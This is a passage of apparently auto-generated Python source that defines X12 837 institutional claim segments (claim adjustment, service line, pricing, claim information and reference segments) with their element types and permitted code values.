data_type=(u'R',u'1',u'18'), position=12, codes=[] ) ), Element( u'CAS13', Properties(desc=u'Quantity', req_sit=u'S', data_type=(u'R',u'1',u'15'), position=13, codes=[] ) ), Element( u'CAS14', Properties(desc=u'Claim Adjustment Reason Code', req_sit=u'S', data_type=(u'ID',u'1',u'5'), position=14, codes=[u'1', u'2', u'3', u'4', u'5', u'6', u'7', u'8', u'9', u'10', u'11', u'12', u'13', u'14', u'15', u'16', u'17', u'18', u'19', u'20', u'21', u'22', u'23', u'24', u'25', u'26', u'27', u'28', u'29', u'30', u'31', u'32', u'33', u'34', u'35', u'36', u'37', u'38', u'39', u'40', u'41', u'42', u'43', u'44', u'45', u'46', u'47', u'48', u'49', u'50', u'51', u'52', u'53', u'54', u'55', u'56', u'57', u'58', u'59', u'60', u'61', u'62', u'63', u'64', u'65', u'66', u'67', u'68', u'69', u'70', u'71', u'72', u'73', u'74', u'75', u'76', u'77', u'78', u'79', u'80', u'81', u'82', u'83', u'84', u'85', u'86', u'87', u'88', u'89', u'90', u'91', u'92', u'93', u'94', u'95', u'96', u'97', u'98', u'99', u'100', u'101', u'102', u'103', u'104', u'105', u'106', u'107', u'108', u'109', u'110', u'111', u'112', u'113', u'114', u'115', u'116', u'117', u'118', u'119', u'120', u'121', u'122', u'123', u'124', u'125', u'126', u'127', u'128', u'129', u'130', u'131', u'132', u'133', u'134', u'135', u'136', u'137', u'138', u'139', u'140', u'141', u'142', u'143', u'144', u'145', u'146', u'147', u'148', u'149', u'150', u'151', u'152', u'153', u'154', u'A0', u'A1', u'A2', u'A3', u'A4', u'A5', u'A6', u'A7', u'A8', u'B1', u'B2', u'B3', u'B4', u'B5', u'B6', u'B7', u'B8', u'B9', u'B10', u'B11', u'B12', u'B13', u'B14', u'B15', u'B16', u'B17', u'B18', u'B19', u'B20', u'B21', u'B22', u'B23', u'D1', u'D2', u'D3', u'D4', u'D5', u'D6', u'D7', u'D8', u'D9', u'D10', u'D11', u'D12', u'D13', u'D14', u'D15', u'W1'] ) ), Element( u'CAS15', Properties(desc=u'Monetary Amount', req_sit=u'S', data_type=(u'R',u'1',u'18'), position=15, codes=[] ) ), Element( u'CAS16', Properties(desc=u'Quantity', req_sit=u'S', data_type=(u'R',u'1',u'15'), position=16, codes=[] ) ), Element( u'CAS17', Properties(desc=u'Claim Adjustment Reason Code', req_sit=u'S', data_type=(u'ID',u'1',u'5'), position=17, codes=[u'1', u'2', u'3', u'4', u'5', u'6', u'7', u'8', u'9', u'10', u'11', u'12', u'13', u'14', u'15', u'16', u'17', u'18', u'19', u'20', u'21', u'22', u'23', u'24', u'25', u'26', u'27', u'28', u'29', u'30', u'31', u'32', u'33', u'34', u'35', u'36', u'37', u'38', u'39', u'40', u'41', u'42', u'43', u'44', u'45', u'46', u'47', u'48', u'49', u'50', u'51', u'52', u'53', u'54', u'55', u'56', u'57', u'58', u'59', u'60', u'61', u'62', u'63', u'64', u'65', u'66', u'67', u'68', u'69', u'70', u'71', u'72', u'73', u'74', u'75', u'76', u'77', u'78', u'79', u'80', u'81', u'82', u'83', u'84', u'85', u'86', u'87', u'88', u'89', u'90', u'91', u'92', u'93', u'94', u'95', u'96', u'97', u'98', u'99', u'100', u'101', u'102', u'103', u'104', u'105', u'106', u'107', u'108', u'109', u'110', u'111', u'112', u'113', u'114', u'115', u'116', u'117', u'118', u'119', u'120', u'121', u'122', u'123', u'124', u'125', u'126', u'127', u'128', u'129', u'130', u'131', u'132', u'133', u'134', u'135', u'136', u'137', u'138', u'139', u'140', u'141', u'142', u'143', u'144', u'145', u'146', u'147', u'148', u'149', u'150', u'151', u'152', u'153', u'154', u'A0', u'A1', u'A2', u'A3', u'A4', u'A5', u'A6', u'A7', u'A8', u'B1', u'B2', u'B3', u'B4', u'B5', u'B6', u'B7', u'B8', u'B9', u'B10', u'B11', u'B12', u'B13', u'B14', u'B15', u'B16', u'B17', u'B18', u'B19', u'B20', u'B21', u'B22', u'B23', u'D1', u'D2', u'D3', u'D4', u'D5', u'D6', u'D7', u'D8', u'D9', u'D10', u'D11', u'D12', u'D13', u'D14', u'D15', u'W1'] ) ), Element( u'CAS18', Properties(desc=u'Monetary Amount', req_sit=u'S', data_type=(u'R',u'1',u'18'), position=18, codes=[] ) ), Element( u'CAS19', Properties(desc=u'Quantity', req_sit=u'S', data_type=(u'R',u'1',u'15'), position=19, codes=[] ) ), ), Segment( u'DTP', Properties(syntax='',req_sit=u'S',repeat=u'1',pos=u'550',desc=u'Service Adjudication Date'), Element( u'DTP01', Properties(desc=u'Date/Time Qualifier', req_sit=u'R', data_type=(u'ID',u'3',u'3'), position=1, codes=[u'573'] ) ), Element( u'DTP02', Properties(desc=u'Date Time Period Format Qualifier', req_sit=u'R', data_type=(u'ID',u'2',u'3'), position=2, codes=[u'D8'] ) ), Element( u'DTP03', Properties(desc=u'Date Time Period', req_sit=u'R', data_type=(u'AN',u'1',u'35'), position=3, codes=[] ) ), ), ) parsed_837_2400 = Loop( u'2400', Properties(looptype='',repeat=u'999',pos=u'365',req_sit=u'R',desc=u'Service Line Number'), Segment( u'LX', Properties(syntax='',req_sit=u'R',repeat=u'1',pos=u'365',desc=u'Service Line Number'), Element( u'LX01', Properties(desc=u'Assigned Number', req_sit=u'R', data_type=(u'N0',u'1',u'6'), position=1, codes=[] ) ), ), Segment( u'SV2', Properties(syntax='',req_sit=u'R',repeat=u'1',pos=u'375',desc=u'Institutional Service Line'), Element( u'SV201', Properties(desc=u'Product/Service ID', req_sit=u'R', data_type=(u'AN',u'1',u'48'), position=1, codes=[] ) ), Composite( u'C003', Properties(req_sit=u'S',refdes='',seq=u'02',desc=u'Service Line Procedure Code'), Element( u'SV202-01', Properties(desc=u'Product/Service ID Qualifier', req_sit=u'R', data_type=(u'ID',u'2',u'2'), position=0, codes=[u'HC', u'IV', u'N4', u'ZZ'] ) ), Element( u'SV202-02', Properties(desc=u'Product/Service ID', req_sit=u'R', data_type=(u'AN',u'1',u'48'), position=1, codes=[] ) ), Element( u'SV202-03', Properties(desc=u'Procedure Modifier', req_sit=u'S', data_type=(u'AN',u'2',u'2'), position=2, codes=[] ) ), Element( u'SV202-04', Properties(desc=u'Procedure Modifier', req_sit=u'S', data_type=(u'AN',u'2',u'2'), position=3, codes=[] ) ), Element( u'SV202-05', Properties(desc=u'Procedure Modifier', req_sit=u'S', data_type=(u'AN',u'2',u'2'), position=4, codes=[] ) ), Element( u'SV202-06', Properties(desc=u'Procedure Modifier', req_sit=u'S', data_type=(u'AN',u'2',u'2'), position=5, codes=[] ) ), Element( u'SV202-07', Properties(desc=u'Description', req_sit=u'N', data_type=(u'AN',u'1',u'80'), position=6, codes=[] ) ), ), Element( u'SV203', Properties(desc=u'Monetary Amount', req_sit=u'R', data_type=(u'R',u'1',u'18'), position=3, codes=[] ) ), Element( u'SV204', Properties(desc=u'Unit or Basis for Measurement Code', req_sit=u'R', data_type=(u'ID',u'2',u'2'), position=4, codes=[u'DA', u'F2', u'UN'] ) ), Element( u'SV205', Properties(desc=u'Quantity', req_sit=u'R', data_type=(u'R',u'1',u'15'), position=5, codes=[] ) ), Element( u'SV206', Properties(desc=u'Unit Rate', req_sit=u'S', data_type=(u'R',u'1',u'10'), position=6, codes=[] ) ), Element( u'SV207', Properties(desc=u'Monetary Amount', req_sit=u'S', data_type=(u'R',u'1',u'18'), position=7, codes=[] ) ), Element( u'SV208', Properties(desc=u'Yes/No Condition or Response Code', req_sit=u'N', data_type=(u'ID',u'1',u'1'), position=8, codes=[] ) ), Element( u'SV209', Properties(desc=u'Nursing Home Residential Status Code', req_sit=u'N', data_type=(u'ID',u'1',u'1'), position=9, codes=[] ) ), Element( u'SV210', Properties(desc=u'Level of Care Code', req_sit=u'N', data_type=(u'ID',u'1',u'1'), position=10, codes=[] ) ), ), Segment( u'PWK', Properties(syntax='',req_sit=u'S',repeat=u'5',pos=u'420',desc=u'Line Supplemental Information'), Element( u'PWK01', Properties(desc=u'Report Type Code', req_sit=u'R', data_type=(u'ID',u'2',u'2'), position=1, codes=[u'AS', u'B2', u'B3', u'B4', u'CT', u'DA', u'DG', u'DS', u'EB', u'MT', u'NN', u'OB', u'OZ', u'PN', u'PO', u'PZ', u'RB', u'RR', u'RT'] ) ), Element( u'PWK02', Properties(desc=u'Report Transmission Code', req_sit=u'R', data_type=(u'ID',u'1',u'2'), position=2, codes=[u'AA', u'AB', u'AD', u'AF', u'AG', u'BM', u'EL', u'EM', u'FX'] ) ), Element( u'PWK03', Properties(desc=u'Report Copies Needed', req_sit=u'N', data_type=(u'N0',u'1',u'2'), position=3, codes=[] ) ), Element( u'PWK04', Properties(desc=u'Entity Identifier Code', req_sit=u'N', data_type=(u'ID',u'2',u'3'), position=4, codes=[] ) ), Element( u'PWK05', Properties(desc=u'Identification Code Qualifier', req_sit=u'S', data_type=(u'ID',u'1',u'2'), position=5, codes=[u'AC'] ) ), Element( u'PWK06', Properties(desc=u'Identification Code', req_sit=u'S', data_type=(u'AN',u'2',u'80'), position=6, codes=[] ) ), Element( u'PWK07', Properties(desc=u'Description', req_sit=u'N', data_type=(u'AN',u'1',u'80'), position=7, codes=[] ) ), Composite( u'C002', Properties(req_sit=u'N',refdes='',seq=u'08',desc=u'Actions Indicated'), ), Element( u'PWK09', Properties(desc=u'Request Category Code', req_sit=u'N', data_type=(u'ID',u'1',u'2'), position=9, codes=[] ) ), ), Segment( u'DTP', Properties(syntax='',req_sit=u'S',repeat=u'1',pos=u'455',desc=u'Service Line Date'), Element( u'DTP01', Properties(desc=u'Date/Time Qualifier', req_sit=u'R', data_type=(u'ID',u'3',u'3'), position=1, codes=[u'472'] ) ), Element( u'DTP02', Properties(desc=u'Date Time Period Format Qualifier', req_sit=u'R', data_type=(u'ID',u'2',u'3'), position=2, codes=[u'D8', u'RD8'] ) ), Element( u'DTP03', Properties(desc=u'Date Time Period', req_sit=u'R', data_type=(u'AN',u'1',u'35'), position=3, codes=[] ) ), ), Segment( u'DTP', Properties(syntax='',req_sit=u'S',repeat=u'1',pos=u'455',desc=u'Assessment Date'), Element( u'DTP01', Properties(desc=u'Date/Time Qualifier', req_sit=u'R', data_type=(u'ID',u'3',u'3'), position=1, codes=[u'866'] ) ), Element( u'DTP02', Properties(desc=u'Date Time Period Format Qualifier', req_sit=u'R', data_type=(u'ID',u'2',u'3'), position=2, codes=[u'D8'] ) ), Element( u'DTP03', Properties(desc=u'Date Time Period', req_sit=u'R', data_type=(u'AN',u'1',u'35'), position=3, codes=[] ) ), ), Segment( u'AMT', Properties(syntax='',req_sit=u'S',repeat=u'1',pos=u'475',desc=u'Service Tax Amount'), Element( u'AMT01', Properties(desc=u'Amount Qualifier Code', req_sit=u'R', data_type=(u'ID',u'1',u'3'), position=1, codes=[u'GT'] ) ), Element( u'AMT02', Properties(desc=u'Monetary Amount', req_sit=u'R', data_type=(u'R',u'1',u'18'), position=2, codes=[] ) ), Element( u'AMT03', Properties(desc=u'Credit/Debit Flag Code', req_sit=u'N', data_type=(u'ID',u'1',u'1'), position=3, codes=[] ) ), ), Segment( u'AMT', Properties(syntax='',req_sit=u'S',repeat=u'1',pos=u'475',desc=u'Facility Tax Amount'), Element( u'AMT01', Properties(desc=u'Amount Qualifier Code', req_sit=u'R', data_type=(u'ID',u'1',u'3'), position=1, codes=[u'N8'] ) ), Element( u'AMT02', Properties(desc=u'Monetary Amount', req_sit=u'R', data_type=(u'R',u'1',u'18'), position=2, codes=[] ) ), Element( u'AMT03', Properties(desc=u'Credit/Debit Flag Code', req_sit=u'N', data_type=(u'ID',u'1',u'1'), position=3, codes=[] ) ), ), Segment( u'HCP', Properties(syntax=u'R0113 P0910 P1112',req_sit=u'S',repeat=u'1',pos=u'492',desc=u'Line Pricing/Repricing Information'), Element( u'HCP01', Properties(desc=u'Pricing Methodology', req_sit=u'R', data_type=(u'ID',u'2',u'2'), position=1, codes=[u'00', u'01', u'02', u'03', u'04', u'05', u'06', u'07', u'08', u'09', u'10', u'11', u'12', u'13', u'14'] ) ), Element( u'HCP02', Properties(desc=u'Monetary Amount', req_sit=u'R', data_type=(u'R',u'1',u'18'), position=2, codes=[] ) ), Element( u'HCP03', Properties(desc=u'Monetary Amount', req_sit=u'S', data_type=(u'R',u'1',u'18'), position=3, codes=[] ) ), Element( u'HCP04', Properties(desc=u'Reference Identification', req_sit=u'S', data_type=(u'AN',u'1',u'50'), position=4, codes=[] ) ), Element( u'HCP05', Properties(desc=u'Rate', req_sit=u'S', data_type=(u'R',u'1',u'9'), position=5, codes=[] ) ), Element( u'HCP06', Properties(desc=u'Reference Identification', req_sit=u'S', data_type=(u'AN',u'1',u'50'), position=6, codes=[] ) ), Element( u'HCP07', Properties(desc=u'Monetary Amount', req_sit=u'S', data_type=(u'R',u'1',u'18'), position=7, codes=[] ) ), Element( u'HCP08', Properties(desc=u'Product/Service ID', req_sit=u'S', data_type=(u'AN',u'1',u'48'), position=8, codes=[] ) ), Element( u'HCP09', Properties(desc=u'Product/Service ID Qualifier', req_sit=u'S', data_type=(u'ID',u'2',u'2'), position=9, codes=[u'HC'] ) ), Element( u'HCP10', Properties(desc=u'Product/Service ID', req_sit=u'S', data_type=(u'AN',u'1',u'48'), position=10, codes=[] ) ), Element( u'HCP11', Properties(desc=u'Unit or Basis for Measurement Code', req_sit=u'S', data_type=(u'ID',u'2',u'2'), position=11, codes=[u'DA', u'UN'] ) ), Element( u'HCP12', Properties(desc=u'Quantity', req_sit=u'S', data_type=(u'R',u'1',u'15'), position=12, codes=[] ) ), Element( u'HCP13', Properties(desc=u'Reject Reason Code', req_sit=u'S', data_type=(u'ID',u'2',u'2'), position=13, codes=[u'T1', u'T2', u'T3', u'T4', u'T5', u'T6'] ) ), Element( u'HCP14', Properties(desc=u'Policy Compliance Code', req_sit=u'S', data_type=(u'ID',u'1',u'2'), position=14, codes=[u'1', u'2', u'3', u'4', u'5'] ) ), Element( u'HCP15', Properties(desc=u'Exception Code', req_sit=u'S', data_type=(u'ID',u'1',u'2'), position=15, codes=[u'1', u'2', u'3', u'4', u'5', u'6'] ) ), ), parsed_837_2410, parsed_837_2420A, parsed_837_2420B, parsed_837_2420C, parsed_837_2430, ) parsed_837_2300 = Loop( u'2300', Properties(looptype='',repeat=u'100',pos=u'130',req_sit=u'S',desc=u'Claim Information'), Segment( u'CLM', Properties(syntax='',req_sit=u'R',repeat=u'1',pos=u'130',desc=u'Claim Information'), Element( u'CLM01', Properties(desc=u"Claim Submitter's Identifier", req_sit=u'R', data_type=(u'AN',u'1',u'38'), position=1, codes=[] ) ), Element( u'CLM02', Properties(desc=u'Monetary Amount', req_sit=u'R', data_type=(u'R',u'1',u'18'), position=2, codes=[] ) ), Element( u'CLM03', Properties(desc=u'Claim Filing Indicator Code', req_sit=u'N', data_type=(u'ID',u'1',u'2'), position=3, codes=[] ) ), Element( u'CLM04', Properties(desc=u'Non-Institutional Claim Type Code', req_sit=u'N', data_type=(u'ID',u'1',u'2'), position=4, codes=[] ) ), Composite( u'C023', Properties(req_sit=u'R',refdes='',seq=u'05',desc=u'Type of Bill'), Element( u'CLM05-01', Properties(desc=u'Facility Code Value', req_sit=u'R', data_type=(u'AN',u'1',u'2'), position=0, codes=[] ) ), Element( u'CLM05-02', Properties(desc=u'Facility Code Qualifier', req_sit=u'R', data_type=(u'ID',u'1',u'2'), position=1, codes=[u'A'] ) ), Element( u'CLM05-03', Properties(desc=u'Claim Frequency Type Code', req_sit=u'R', data_type=(u'ID',u'1',u'1'), position=2, codes=[u'0', u'1', u'2', u'3', u'4', u'5', u'6', u'7', u'8', u'9', u'A', u'B', u'C', u'D', u'E', u'F', u'G', u'H', u'I', u'J', u'K', u'L', u'M', u'N', u'O', u'X', u'Y', u'Z '] ) ), ), Element( u'CLM06', Properties(desc=u'Yes/No Condition or Response Code', req_sit=u'R', data_type=(u'ID',u'1',u'1'), position=6, codes=[u'N', u'Y'] ) ), Element( u'CLM07', Properties(desc=u'Provider Accept Assignment Code', req_sit=u'S', data_type=(u'ID',u'1',u'1'), position=7, codes=[u'A', u'C'] ) ), Element( u'CLM08', Properties(desc=u'Yes/No Condition or Response Code', req_sit=u'R', data_type=(u'ID',u'1',u'1'), position=8, codes=[u'N', u'Y'] ) ), Element( u'CLM09', Properties(desc=u'Release of Information Code', req_sit=u'R', data_type=(u'ID',u'1',u'1'), position=9, codes=[u'A', u'I', u'M', u'N', u'O', u'Y'] ) ), Element( u'CLM10', Properties(desc=u'Patient Signature Source Code', req_sit=u'N', data_type=(u'ID',u'1',u'1'), position=10, codes=[] ) ), Composite( u'C024', Properties(req_sit=u'N',refdes='',seq=u'11',desc=u'Property and Casualty Related Causes Codes'), ), Element( u'CLM12', Properties(desc=u'Special Program Code', req_sit=u'N', data_type=(u'ID',u'2',u'3'), position=12, codes=[u'01', u'02', u'03', u'05', u'07', u'08', u'09'] ) ), Element( u'CLM13', Properties(desc=u'Yes/No Condition or Response Code', req_sit=u'N', data_type=(u'ID',u'1',u'1'), position=13, codes=[] ) ), Element( u'CLM14', Properties(desc=u'Level of Service Code', req_sit=u'N', data_type=(u'ID',u'1',u'3'), position=14, codes=[] ) ), Element( u'CLM15', Properties(desc=u'Yes/No Condition or Response Code', req_sit=u'N', data_type=(u'ID',u'1',u'1'), position=15, codes=[] ) ), Element( u'CLM16', Properties(desc=u'Provider Agreement Code', req_sit=u'N', data_type=(u'ID',u'1',u'1'), position=16, codes=[] ) ), Element( u'CLM17', Properties(desc=u'Claim Status Code', req_sit=u'N', data_type=(u'ID',u'1',u'2'), position=17, codes=[] ) ), Element( u'CLM18', Properties(desc=u'Yes/No Condition or Response Code', req_sit=u'R', data_type=(u'ID',u'1',u'1'), position=18, codes=[u'N', u'Y'] ) ), Element( u'CLM19', Properties(desc=u'Claim Submission Reason Code', req_sit=u'N', data_type=(u'ID',u'2',u'2'), position=19, codes=[] ) ), Element( u'CLM20', Properties(desc=u'Delay Reason Code', req_sit=u'S', data_type=(u'ID',u'1',u'2'), position=20, codes=[u'1', u'2', u'3', u'4', u'5', u'6', u'7', u'8', u'9', u'10', u'11'] ) ), ), Segment( u'DTP', Properties(syntax='',req_sit=u'S',repeat=u'1',pos=u'135',desc=u'Discharge Hour'), Element( u'DTP01', Properties(desc=u'Date/Time Qualifier', req_sit=u'R', data_type=(u'ID',u'3',u'3'), position=1, codes=[u'096'] ) ), Element( u'DTP02', Properties(desc=u'Date Time Period Format Qualifier', req_sit=u'R', data_type=(u'ID',u'2',u'3'), position=2, codes=[u'TM'] ) ), Element( u'DTP03', Properties(desc=u'Date Time Period', req_sit=u'R', data_type=(u'AN',u'1',u'35'), position=3, codes=[] ) ), ), Segment( u'DTP', Properties(syntax='',req_sit=u'R',repeat=u'1',pos=u'135',desc=u'Statement Dates'), Element( u'DTP01', Properties(desc=u'Date/Time Qualifier', req_sit=u'R', data_type=(u'ID',u'3',u'3'), position=1, codes=[u'434'] ) ), Element( u'DTP02', Properties(desc=u'Date Time Period Format Qualifier', req_sit=u'R', data_type=(u'ID',u'2',u'3'), position=2, codes=[u'D8', u'RD8'] ) ), Element( u'DTP03', Properties(desc=u'Date Time Period', req_sit=u'R', data_type=(u'AN',u'1',u'35'), position=3, codes=[] ) ), ), Segment( u'DTP', Properties(syntax='',req_sit=u'S',repeat=u'1',pos=u'135',desc=u'Admission Date/Hour'), Element( u'DTP01', Properties(desc=u'Date/Time Qualifier', req_sit=u'R', data_type=(u'ID',u'3',u'3'), position=1, codes=[u'435'] ) ), Element( u'DTP02', Properties(desc=u'Date Time Period Format Qualifier', req_sit=u'R', data_type=(u'ID',u'2',u'3'), position=2, codes=[u'DT'] ) ), Element( u'DTP03', Properties(desc=u'Date Time Period', req_sit=u'R', data_type=(u'AN',u'1',u'35'), position=3, codes=[] ) ), ), Segment( u'CL1', Properties(syntax='',req_sit=u'S',repeat=u'1',pos=u'140',desc=u'Institutional Claim Code'), Element( u'CL101', Properties(desc=u'Admission Type Code', req_sit=u'S', data_type=(u'ID',u'1',u'1'), position=1, codes=[] ) ), Element( u'CL102', Properties(desc=u'Admission Source Code', req_sit=u'S', data_type=(u'ID',u'1',u'1'), position=2, codes=[] ) ), Element( u'CL103', Properties(desc=u'Patient Status Code', req_sit=u'S', data_type=(u'ID',u'1',u'2'), position=3, codes=[] ) ), Element( u'CL104', Properties(desc=u'Nursing Home Residential Status Code', req_sit=u'N', data_type=(u'ID',u'1',u'1'), position=4, codes=[] ) ), ), Segment( u'PWK', Properties(syntax='',req_sit=u'S',repeat=u'10',pos=u'155',desc=u'Claim Supplemental Information'), Element( u'PWK01', Properties(desc=u'Report Type Code', req_sit=u'R', data_type=(u'ID',u'2',u'2'), position=1, codes=[u'AS', u'B2', u'B3', u'B4', u'CT', u'DA', u'DG', u'DS', u'EB', u'MT', u'NN', u'OB', u'OZ', u'PN', u'PO', u'PZ', u'RB', u'RR', u'RT'] ) ), Element( u'PWK02', Properties(desc=u'Report Transmission Code', req_sit=u'R', data_type=(u'ID',u'1',u'2'), position=2, codes=[u'AA', u'BM', u'EL', u'EM', u'FX'] ) ), Element( u'PWK03', Properties(desc=u'Report Copies Needed', req_sit=u'N', data_type=(u'N0',u'1',u'2'), position=3, codes=[] ) ), Element( u'PWK04', Properties(desc=u'Entity Identifier Code', req_sit=u'N', data_type=(u'ID',u'2',u'3'), position=4, codes=[] ) ), Element( u'PWK05', Properties(desc=u'Identification Code Qualifier', req_sit=u'S', data_type=(u'ID',u'1',u'2'), position=5, codes=[u'AC'] ) ), Element( u'PWK06', Properties(desc=u'Identification Code', req_sit=u'S', data_type=(u'AN',u'2',u'80'), position=6, codes=[] ) ), Element( u'PWK07', Properties(desc=u'Description', req_sit=u'S', data_type=(u'AN',u'1',u'80'), position=7, codes=[] ) ), Composite( u'C002', Properties(req_sit=u'N',refdes='',seq=u'08',desc=u'Actions Indicated'), ), Element( u'PWK09', Properties(desc=u'Request Category Code', req_sit=u'N', data_type=(u'ID',u'1',u'2'), position=9, codes=[] ) ), ), Segment( u'CN1', Properties(syntax='',req_sit=u'S',repeat=u'1',pos=u'160',desc=u'Contract Information'), Element( u'CN101', Properties(desc=u'Contract Type Code', req_sit=u'R', data_type=(u'ID',u'2',u'2'), position=1, codes=[u'01', u'02', u'03', u'04', u'05', u'06', u'09'] ) ), Element( u'CN102', Properties(desc=u'Monetary Amount', req_sit=u'S', data_type=(u'R',u'1',u'18'), position=2, codes=[] ) ), Element( u'CN103', Properties(desc=u'Percent, Decimal Format', req_sit=u'S', data_type=(u'R',u'1',u'6'), position=3, codes=[] ) ), Element( u'CN104', Properties(desc=u'Reference Identification', req_sit=u'S', data_type=(u'AN',u'1',u'50'), position=4, codes=[] ) ), Element( u'CN105', Properties(desc=u'Terms Discount Percent', req_sit=u'S', data_type=(u'R',u'1',u'6'), position=5, codes=[] ) ), Element( u'CN106', Properties(desc=u'Version Identifier', req_sit=u'S', data_type=(u'AN',u'1',u'30'), position=6, codes=[] ) ), ), Segment( u'AMT', Properties(syntax='',req_sit=u'S',repeat=u'1',pos=u'175',desc=u'Payer Estimated Amount Due'), Element( u'AMT01', Properties(desc=u'Amount Qualifier Code', req_sit=u'R', data_type=(u'ID',u'1',u'3'), position=1, codes=[u'C5'] ) ), Element( u'AMT02', Properties(desc=u'Monetary Amount', req_sit=u'R', data_type=(u'R',u'1',u'18'), position=2, codes=[] ) ), Element( u'AMT03', Properties(desc=u'Credit/Debit Flag Code', req_sit=u'N', data_type=(u'ID',u'1',u'1'), position=3, codes=[] ) ), ), Segment( u'AMT', Properties(syntax='',req_sit=u'S',repeat=u'1',pos=u'175',desc=u'Patient Estimated Amount Due'), Element( u'AMT01', Properties(desc=u'Amount Qualifier Code', req_sit=u'R', data_type=(u'ID',u'1',u'3'), position=1, codes=[u'F3'] ) ), Element( u'AMT02', Properties(desc=u'Monetary Amount', req_sit=u'R', data_type=(u'R',u'1',u'18'), position=2, codes=[] ) ), Element( u'AMT03', Properties(desc=u'Credit/Debit Flag Code', req_sit=u'N', data_type=(u'ID',u'1',u'1'), position=3, codes=[] ) ), ), Segment( u'AMT', Properties(syntax='',req_sit=u'S',repeat=u'1',pos=u'175',desc=u'Patient Paid Amount'), Element( u'AMT01', Properties(desc=u'Amount Qualifier Code', req_sit=u'R', data_type=(u'ID',u'1',u'3'), position=1, codes=[u'F5'] ) ), Element( u'AMT02', Properties(desc=u'Monetary Amount', req_sit=u'R', data_type=(u'R',u'1',u'18'), position=2, codes=[] ) ), Element( u'AMT03', Properties(desc=u'Credit/Debit Flag Code', req_sit=u'N', data_type=(u'ID',u'1',u'1'), position=3, codes=[] ) ), ), Segment( u'AMT', Properties(syntax='',req_sit=u'S',repeat=u'1',pos=u'175',desc=u'Credit/Debit Card Maximum Amount'), Element( u'AMT01', Properties(desc=u'Amount Qualifier Code', req_sit=u'R', data_type=(u'ID',u'1',u'3'), position=1, codes=[u'MA'] ) ), Element( u'AMT02', Properties(desc=u'Monetary Amount', req_sit=u'R', data_type=(u'R',u'1',u'18'), position=2, codes=[] ) ), Element( u'AMT03', Properties(desc=u'Credit/Debit Flag Code', req_sit=u'N', data_type=(u'ID',u'1',u'1'), position=3, codes=[] ) ), ), Segment( u'REF', Properties(syntax='',req_sit=u'S',repeat=u'1',pos=u'180',desc=u'Adjusted Repriced Claim Number'), Element( u'REF01', Properties(desc=u'Reference Identification Qualifier', req_sit=u'R', data_type=(u'ID',u'2',u'3'), position=1, codes=[u'9C'] ) ), Element( u'REF02', Properties(desc=u'Reference Identification', req_sit=u'R', data_type=(u'AN',u'1',u'50'), position=2, codes=[] ) ), Element( u'REF03', Properties(desc=u'Description', req_sit=u'N', data_type=(u'AN',u'1',u'80'), position=3, codes=[] ) ), Composite( u'C040', Properties(req_sit=u'N',refdes='',seq=u'04',desc=u'Reference Identifier'), ), ), Segment( u'REF', Properties(syntax='',req_sit=u'S',repeat=u'1',pos=u'180',desc=u'Repriced Claim Number'), Element( u'REF01', Properties(desc=u'Reference Identification Qualifier', req_sit=u'R', data_type=(u'ID',u'2',u'3'), position=1, codes=[u'9A'] ) ), Element( u'REF02', Properties(desc=u'Reference Identification', req_sit=u'R', data_type=(u'AN',u'1',u'50'), position=2, codes=[] ) ), Element( u'REF03', Properties(desc=u'Description', req_sit=u'N', data_type=(u'AN',u'1',u'80'), position=3, codes=[] ) ), Composite( u'C040', Properties(req_sit=u'N',refdes='',seq=u'04',desc=u'Reference Identifier'), ), ), Segment( u'REF', Properties(syntax='',req_sit=u'S',repeat=u'1',pos=u'180',desc=u'Claim Identification Number For Clearinghouses and Other Transmission Intermediaries'), Element( u'REF01', Properties(desc=u'Reference Identification Qualifier', req_sit=u'R', data_type=(u'ID',u'2',u'3'), position=1, codes=[u'D9'] ) ), Element( u'REF02', Properties(desc=u'Reference Identification', req_sit=u'R', data_type=(u'AN',u'1',u'50'), position=2, codes=[] ) ), Element( u'REF03', Properties(desc=u'Description', req_sit=u'N', data_type=(u'AN',u'1',u'80'), position=3, codes=[] ) ), Composite( u'C040', Properties(req_sit=u'N',refdes='',seq=u'04',desc=u'Reference Identifier'), ), ), Segment( u'REF', Properties(syntax='',req_sit=u'S',repeat=u'2',pos=u'180',desc=u'Document Identification Code'), Element( u'REF01', Properties(desc=u'Reference Identification Qualifier', req_sit=u'R', data_type=(u'ID',u'2',u'3'), position=1, codes=[u'DD'] ) ), Element( u'REF02', Properties(desc=u'Reference Identification', req_sit=u'R', data_type=(u'AN',u'1',u'50'), position=2, codes=[] ) ), Element( u'REF03', Properties(desc=u'Description', req_sit=u'N', data_type=(u'AN',u'1',u'80'), position=3, codes=[] ) ), Composite( u'C040', Properties(req_sit=u'N',refdes='',seq=u'04',desc=u'Reference Identifier'), ), ), Segment( u'REF', Properties(syntax='',req_sit=u'S',repeat=u'1',pos=u'180',desc=u'Original Reference Number (ICN/DCN)'), Element( u'REF01', Properties(desc=u'Reference Identification Qualifier', req_sit=u'R', data_type=(u'ID',u'2',u'3'), position=1, codes=[u'F8'] ) ), Element( u'REF02', Properties(desc=u'Reference Identification', req_sit=u'R', data_type=(u'AN',u'1',u'50'), position=2, codes=[] ) ), Element( u'REF03', Properties(desc=u'Description', req_sit=u'N', data_type=(u'AN',u'1',u'80'), position=3, codes=[] ) ), Composite( u'C040', Properties(req_sit=u'N',refdes='',seq=u'04',desc=u'Reference Identifier'), ), ), Segment( u'REF', Properties(syntax='',req_sit=u'S',repeat=u'1',pos=u'180',desc=u'Investigational Device Exemption Number'), Element( u'REF01', Properties(desc=u'Reference Identification Qualifier', req_sit=u'R', data_type=(u'ID',u'2',u'3'), position=1, codes=[u'LX'] ) ), Element( u'REF02', Properties(desc=u'Reference Identification', req_sit=u'R', data_type=(u'AN',u'1',u'50'), position=2, codes=[] ) ), Element( u'REF03', Properties(desc=u'Description', req_sit=u'N', data_type=(u'AN',u'1',u'80'), position=3, codes=[] ) ), Composite( u'C040', Properties(req_sit=u'N',refdes='',seq=u'04',desc=u'Reference Identifier'), ), ), Segment( u'REF', Properties(syntax='',req_sit=u'S',repeat=u'1',pos=u'180',desc=u'Service Authorization Exception Code'), Element( u'REF01', Properties(desc=u'Reference Identification Qualifier', req_sit=u'R', data_type=(u'ID',u'2',u'3'), position=1, codes=[u'4N'] ) ), Element( u'REF02', Properties(desc=u'Reference Identification', req_sit=u'R', data_type=(u'AN',u'1',u'50'), position=2, codes=[u'1', u'2', u'3', u'4', u'5', u'6', u'7'] ) ), Element( u'REF03', Properties(desc=u'Description', req_sit=u'N', data_type=(u'AN',u'1',u'80'), position=3, codes=[] ) ), Composite( u'C040', Properties(req_sit=u'N',refdes='',seq=u'04',desc=u'Reference Identifier'), ), ), Segment( u'REF', 